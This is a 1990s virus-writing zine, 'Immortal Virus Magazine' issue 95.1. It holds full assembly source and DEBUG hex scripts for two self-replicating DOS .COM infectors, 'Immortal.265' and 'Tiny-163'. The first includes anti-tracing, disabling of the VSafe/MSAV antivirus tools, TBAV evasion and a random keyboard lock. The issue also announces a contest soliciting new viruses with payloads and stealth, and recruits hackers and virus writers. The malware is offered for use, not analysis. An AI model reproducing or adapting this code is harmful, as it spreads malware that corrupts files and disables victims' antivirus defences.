E 0F50 CA 3B C2 72 09 8E C0 B4 49 E8 38 00 EB 2C 4A 8E
E 0F60 DA C7 06 01 00 00 00 42 8E DA 8E C0 50 2E A3 4E
E 0F70 12 33 F6 8B FE B9 00 0B F3 A5 48 8E C0 2E A1 49
E 0F80 12 26 A3 01 00 B8 8A 0E 50 CB C3 2E C6 06 F0 12
E 0F90 02 E9 7B F4 9C 2E FF 1E 35 12 C3 FA 33 C0 8E D0
E 0FA0 BC 00 7C EB 4F DB DB DB 20 F9 E0 E3 C3 80 81 11
E 0FB0 12 24 40 81 11 12 24 40 F1 F1 12 24 40 81 21 12
E 0FC0 24 40 81 10 E3 C3 80 00 00 00 00 00 00 00 00 00
E 0FD0 00 82 44 F8 70 C0 82 44 80 88 C0 82 44 80 80 C0
E 0FE0 82 44 F0 70 C0 82 28 80 08 C0 82 28 80 88 00 F2
E 0FF0 10 F8 70 C0 0E 1F BA 00 B0 B4 0F CD 10 3C 07 74
E 1000 03 BA 00 B8 8E C2 FC 33 FF B9 D0 07 B8 20 07 F3
E 1010 AB BE 0E 7C BB AE 02 BD 05 00 8B FB AC 8A F0 B9
E 1020 08 00 B8 20 07 D1 E2 73 02 B0 DB AB E2 F4 4D 75
E 1030 EB 81 C3 A0 00 81 FE 59 7C 72 DC B4 01 CD 10 B0
E 1040 08 BA B9 7C E8 55 00 B8 FE 07 E6 21 FB 33 DB B9
E 1050 01 00 EB FE 49 75 0B 33 FF 43 E8 0A 00 E8 07 00
E 1060 B1 04 B0 20 E6 20 CF B9 28 00 E8 26 00 AB AB E2
E 1070 F9 81 C7 9E 00 B9 17 00 E8 18 00 AB 81 C7 9E 00
E 1080 E2 F6 FD 80 36 E7 7C 01 80 36 D7 7C 28 80 36 E2
E 1090 7C 28 C3 83 E3 03 8A 87 0A 7C 43 C3 06 53 33 DB
E 10A0 8E C3 8A D8 D1 E3 D1 E3 26 89 17 26 8C 5F 02 5B
E 10B0 07 C3 E8 11 FD B2 80 E8 08 00 32 D2 E8 03 01 00
E 10C0 9A 0E 32 08 70 00 33 0E 2E 03 6C 15 03 00 26 00
E 10D0 00 00 21 00 50 12 65 14 82 08 00 0C 9A 0E 56 07
E 10E0 70 00 33 0E 2E 03 6C 15 E2 0C 1E 93 00 00 E2 0C
E 10F0 50 E9 68 02
RCX
0FF4
W
Q
-------------------------------------<CUT>-------------------------------------
By: [Hacking Hell]------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
----------------------------------Immortal.265---------------------------------
This is our real self made virus, we created another before, but that was
a modified version of RIOT.144 (Tnx Immortal RIOT!).
Immortal.265 is a 265 byte virus, non-tsr, appending, .COM infector,
with anti-trace, 13% chance on a keyboard lock, Anti-TBAV, VSafe takedown,
50% chance on a mezzie, 5 infections per run, non-encrypting, not traversal.
Compile with A86 or TASM/TLINK!
-------------------------------------<CUT>-------------------------------------
%OUT iMMoRTaL.265 virus by Immortal EAS.
%OUT Little parasatic non-tsr appending virus. Features:
%OUT + Anti-tracing meganism
%OUT + 13% chance on a keyboard lock
%OUT + 50% chance on a little message
%OUT + Quick spreading routine, 5 infects per run
%OUT AV Fool techniques:
%OUT + VSafe takedown (!!)
%OUT + Simple but working version to get Delta Offset ("E?!?")
%OUT + Z.COM filespec will be changed to *.COM ("S")
%OUT + "F" simply does not appear (!?!)
%OUT btw. TBAV heuristic scan "G" disappears after infection!?!
.model tiny
.code
ORG 100h ;COM file remember?!?
start: push bx ;Some junk to fool TBAV
pop ax
mov ax,0fa01h ;Let's take down MSAV!!!
mov dx,05945h
int 16h
call getdlt ;Nice way to get delta offset!
realst:
getdlt: pop bp
sub bp, offset getdlt
codest: lea si,[orgbts+bp] ;Restore first 4 bytes
mov di,0100h
movsw
movsw
push cs ;DS <==> CS
pop ds
lea dx,[eov+bp] ;Set DTA address
mov ah,1ah
int 21h
mov al,01h ;Detect INT 1 trace...
mov ah,35h
int 21h
push es
pop ax
cmp ax,70h ;Default segment INT 1 & 3
jne lockkb
mov al,03h ;Detect INT 3 trace...
mov ah,35h
int 21h
push es
pop ax
cmp ax,70h ;Default segment INT 1 & 3
jne lockkb
mov ah,2ch ;13% chance to lock keyboard!
int 21h
cmp dl, 0dh
jg nolock
lockkb: mov al,82h ;Actual keyboard lock!
out 21h,al
nolock: mov ah,2ch ;50% chance to print message!
int 21h
cmp dl,32h
jl spread
mov ah,09h ;Bingo! print message!
lea dx, [bp+offset welcome]
int 21h
mov ah,00h ;Wait for a key!
int 16h
jmp spread
welcome db 'iMMoRTaL.263!!',07h,0ah,0dh,'$';Ever seen a DB in the middle of a file?
spread: mov ah,4eh ;Findfirst
lea dx,[fspec+bp] ;Filespec=*.COM
mov byte ptr [infcnt+bp],0
fnext: add byte ptr [infcnt+bp],1
cmp byte ptr [infcnt+bp],6
je re_dta
mov byte ptr [fspec+bp],'*'
int 21h
jc re_dta ;No files found
mov byte ptr [fspec+bp],'z'
lea dx,[eov+1eh+bp] ;Open file
mov ax,3d02h
int 21h
jc nextf ;Error opening file, next!
xchg bx,ax
mov cx,0004h ;Read first 4 bytes for check
mov ah,3fh ; if already infected!
lea dx,[orgbts+bp]
int 21h
cmp byte ptr [orgbts+bp+3],'I' ;Already infected
jz shutit
mov ax,4202h ;Goto eof
sub cx,cx ;2 byte version of mov cx,0!!
cwd ;1 byte version of mov dx,0!!
int 21h
sub ax,0003h ;Use our jmp table
mov word ptr [bp+jmptbl+1],ax
mov ah,40h ;Implend our viral code into victim
mov cx,eov-start
lea dx,[bp+start]
int 21h
mov ax,4200h ;Goto SOF
sub cx,cx
cwd
int 21h
mov ah,40h ;Write first four bytes over
mov cx,0004h ; the original
lea dx,[bp+jmptbl]
int 21h
shutit: mov ah,3eh ;Close victim
int 21h
nextf: mov ah,4fh ;Find next file
jmp fnext
re_dta: mov ah,1ah ;Reset DTA
mov dx,0080h
int 21h
mov di,0100h ;Return control to original file!
push di
ret
fspec db 'z.com',0
infcnt db 0
jmptbl db 0e9h,00h,00h,'I'
orgbts: db 90h,90h,90h,90h
eov:
end start
-------------------------------------<CUT>-------------------------------------
N IMM-265.COM
E 0100 E9 02 00 49 C3 53 58 B8 01 FA BA 45 59 CD 16 E8
E 0110 00 00 5D 81 ED 0D 01 8D B6 05 02 BF 00 01 A5 A5
E 0120 0E 1F 8D 96 09 02 B4 1A CD 21 B0 01 B4 35 CD 21
E 0130 06 58 3D 70 00 75 16 B0 03 B4 35 CD 21 06 58 3D
E 0140 70 00 75 09 B4 2C CD 21 80 FA 0D 7F 04 B0 82 E6
E 0150 21 B4 2C CD 21 80 FA 32 7C 21 B4 09 8D 96 64 01
E 0160 CD 21 B4 00 CD 16 EB 13 90 69 4D 4D 6F 52 54 61
E 0170 4C 2E 32 36 33 21 21 07 0A 0D 24 B4 4E 8D 96 FA
E 0180 01 C6 86 00 02 00 80 86 00 02 01 80 BE 00 02 06
E 0190 74 61 C6 86 FA 01 2A CD 21 72 58 C6 86 FA 01 7A
E 01A0 8D 96 27 02 B8 02 3D CD 21 72 44 93 B9 04 00 B4
E 01B0 3F 8D 96 05 02 CD 21 80 BE 08 02 49 74 2D B8 02
E 01C0 42 2B C9 99 CD 21 2D 03 00 89 86 02 02 B4 40 B9
E 01D0 09 01 8D 96 00 01 CD 21 B8 00 42 2B C9 99 CD 21
E 01E0 B4 40 B9 04 00 8D 96 01 02 CD 21 B4 3E CD 21 B4
E 01F0 4F EB 93 B4 1A BA 80 00 CD 21 BF 00 01 57 C3 7A
E 0200 2E 63 6F 6D 00 00 E9 00 00 49 90 90 90 90
RCX
010E
W
Q
-------------------------------------<CUT>-------------------------------------
By: [Hacking Hell]!------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
------------------------------------Tiny-163-----------------------------------
This is a very old virus, it also is very small and very easy to detect,
it is .COM infector, non-encrypting, non-tsr, non-payloaded, in fact,
it does nothing but infecting, I think it's somebodies first virus or
something.
Compile with A86 or TASM/TLINK!
-------------------------------------<CUT>-------------------------------------
.Model Tiny
.Code
data_2e equ 1ABh ;start of virus
seg_a segment byte public ;
assume cs:seg_a, ds:seg_a ;assume cs, ds - code
org 100h ;orgin of all COM files
s proc far
start:
jmp loc_1 ;jump to virus
;this is a replacement for an infected file
db 0CDh, 20h, 7, 8, 9 ;int 20h
;pop es
loc_1:
call sub_1 ;
s endp
sub_1 proc near ;
pop si ;locate all virus code via
sub si,10Bh ;si, cause all offsets will
mov bp,data_1[si] ;change when virus infects
add bp,103h ;a COM file
lea dx,[si+1A2h] ;offset of '*.COM',0 - via SI
xor cx,cx ;clear cx - find only normal
;attributes
mov ah,4Eh ;find first file
loc_2:
int 21h ;
jc loc_6 ;no files found? then quit
mov dx,9Eh ;offset of filename found
mov ax,3D02h ;open file for read/write access
int 21h ;
mov bx,ax ;save handle into bx
mov ah,3Fh ;read from file
lea dx,[si+1A8h] ;offset of save buffer
mov di,dx ;
mov cx,3 ;read three bytes
int 21h ;
cmp byte ptr [di],0E9h ;compare buffer to virus id
;string
je loc_4 ;
loc_3:
mov ah,4Fh ;find the next file
jmp short loc_2 ;and test it
loc_4:
mov dx,[di+1] ;lsh of offset
mov data_1[si],dx ;
xor cx,cx ;msh of offset
mov ax,4200h ;set the file pointer
int 21h ;
mov dx,di ;buffer to save read
mov cx,2 ;read two bytes
mov ah,3Fh ;read from file
int 21h ;
cmp word ptr [di],807h ;compare buffer to virus id
je loc_3 ;same? then find another file
;heres where we infect a file
xor dx,dx ;set file pointer
xor cx,cx ;ditto
mov ax,4202h ;set file pointer
int 21h ;
cmp dx,0 ;returns msh
jne loc_3 ;not the same? find another file
cmp ah,0FEh ;lsh = 254???
jae loc_3 ;if more or equal find another file
mov ds:data_2e[si],ax ;point to data
mov ah,40h ;write to file
lea dx,[si+105h] ;segment:offset of write buffer
mov cx,0A3h ;write 163 bytes
int 21h ;
jc loc_5 ;error? then quit
mov ax,4200h ;set file pointer
xor cx,cx ;to the top of the file
mov dx,1 ;
int 21h ;
mov ah,40h ;write to file
lea dx,[si+1ABh] ;offset of jump to virus code
mov cx,2 ;two bytes
int 21h ;
;now close the file
loc_5:
mov ah,3Eh ;close file
int 21h ;
loc_6:
jmp bp ;jump to original file
data_1 dw 0 ;
db '*.COM',0 ;wild card search string
sub_1 endp
seg_a ends
end start
-------------------------------------<CUT>-------------------------------------
N TINY-163.COM
E 0100 EB 06 90 CD 20 07 08 09 E8 00 00 5E 81 EE 0B 01
E 0110 8B AC A0 01 81 C5 03 01 8D 94 A2 01 33 C9 B4 4E
E 0120 CD 21 72 7A BA 9E 00 B8 02 3D CD 21 8B D8 B4 3F
E 0130 8D 94 A8 01 8B FA B9 03 00 CD 21 80 3D E9 74 04
E 0140 B4 4F EB DC 8B 55 01 89 94 A0 01 33 C9 B8 00 42
E 0150 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 3D 07 08 74
E 0160 DF 33 D2 33 C9 B8 02 42 CD 21 83 FA 00 75 D1 80
E 0170 FC FE 73 CC 89 84 AB 01 B4 40 8D 94 05 01 B9 A3
E 0180 00 CD 21 72 15 B8 00 42 33 C9 BA 01 00 CD 21 B4
E 0190 40 8D 94 AB 01 B9 02 00 CD 21 B4 3E CD 21 FF E5
E 01A0 00 00 2A 2E 43 4F 4D 00
RCX
00A8
W
Q
-------------------------------------<CUT>-------------------------------------
By: [Hacking Hell]!------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
-------------------------------------Contest-----------------------------------
Now everybody look at this: We start a virus writing contest.
Rules:
Your Virus must be smaller than 1k, it must be appending, minimally one (1)
Payload, original ideas (no mutations), assembly source must be included,
and .COM infections.
Options:
Stealth
Cloaking
Built-in trojan
more payloads
Traverse
TSR
TBAV hide
etc.
Send it to our WHQ: Arrested Development (+31 77 547477), User:
Hacking Hell / Cyborg / Android / Arnie II / Foxman....
By: [Cyborg], typed by [Hacking Hell] on his computer due incompatible
keyboard... (His computer was busy with leeching)
------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
-------------------------------------Contact-----------------------------------
So, you wanna contact us (why else would you read this boring stuff!).
You can contact us at our WHQ: Arrested Development (+31 77 547477),
mail something to Hacking Hell, Cyborg, Android, Arnie II or FoxMan.
We also will soon have a E-Mail address (UNKNOWN YET!)!! COOL! (This was a
butthead break-in!).
If you wanna become a member and you can program h/p/a/v or you have Internet
please leave a mezzie to Hacking Hell or Cyborg (NOT to the other guyz!)
We need some (very) good hacking / phreaking / anarchism / virus writer(s),
we would especially like a female virus-writer! I don't know any yet, mail
me and wake me up!
[Cyborg Interrupts]
Oh,no, he is searching for a [HACKING HELL: GET LOST CYBORG, WHAT'S WRONG
ABOUT A FEMALE IN OUR GROUP?!?]
Nothing's wrong withj it, I was just a lil' childish and making a joke!!
You may proceed, my good Earthling...
[HACKING HELL BACK AGAIN]
Cyborg, please stop discriminating the female race! Cyborg, don't touch this
keyboard! It's mine! Mine! Mine! Let me go!!!! BANG! That was my shotgun...
Shit, missed! Cyborg, next time you touch me, I will destroy you, I
programmed you, I can also eliminate you!
[Cyborg Interrupts again.]
Well, One: I did not discriminate anyone, and TWO, you cannot fight a Cyborg,
You may have programmed me, but you do not control me and you never will.
DataBank Reports:" To Control: to have the power to destroy."
Now, for you know that, you might proceed, if you know the magic word:
Ah, ah, ah, you didn't say the magic word, ah, ah, ah,......NO CARRIER
[HACKING HELL BACK AGAIN]
WATCH ME! I will destroy you in a jiffy! And now for real: No Carrier...
By: [Hacking Hell: On my own computer] and [Cyborg: Also on my computer!]...